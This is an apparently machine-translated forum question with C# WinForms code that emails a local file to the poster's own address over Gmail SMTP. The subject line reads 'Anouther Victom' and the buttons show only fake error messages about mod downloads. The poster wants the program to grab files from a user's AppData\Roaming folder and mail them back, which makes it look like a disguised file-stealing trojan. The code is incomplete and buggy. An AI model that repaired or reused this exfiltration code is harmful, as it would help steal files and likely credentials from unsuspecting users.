为什么我不能把这封邮件带附件发给你?

using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;
using System.Net;
using System.Net.Mail;
namespace WindowsFormsApplication1
{
  public partial class Form1 : Form
  {
    public Form1()
    {
      InitializeComponent();
    }
    public void email_send()
    {
      MailMessage mail = new MailMessage();
      SmtpClient SmtpServer = new SmtpClient("smtp.gmail.com");//the smtp server
      mail.From = new MailAddress("my email@gmail.com");//my email adress
      mail.To.Add("to_mail@gmail.com");
      mail.Subject = "Anouther Victom";
      mail.Body = "mail with attachment";
      System.Net.Mail.Attachment attachment;
      attachment = new System.Net.Mail.Attachment("C:'test.txt"); //attachment file location
      mail.Attachments.Add(attachment);
      SmtpServer.Port = 587;
      SmtpServer.Credentials = new System.Net.NetworkCredential("my email@hotmail.com", "password");
      SmtpServer.EnableSsl = true;
      SmtpServer.Send(mail);
    }
    private void button1_Click(object sender, EventArgs e)
    {
      MessageBox.Show("Error retriving download url sorce check you url or serch the help guid  for help solving this error");
    }
    private void button2_Click(object sender, EventArgs e)
    {
      MessageBox.Show("Error no mod discoverd inside of resorce file");
    }
  }
}

这不会发送我想要的电子邮件，当我试图给出一个大于c'file.txt的文件路径时，它不会理解c:' users ' george ' appdata ' roaming或任何扩展名，我希望它复制一个资源文件并通过电子邮件将其发送回我以帮助应用程序开发。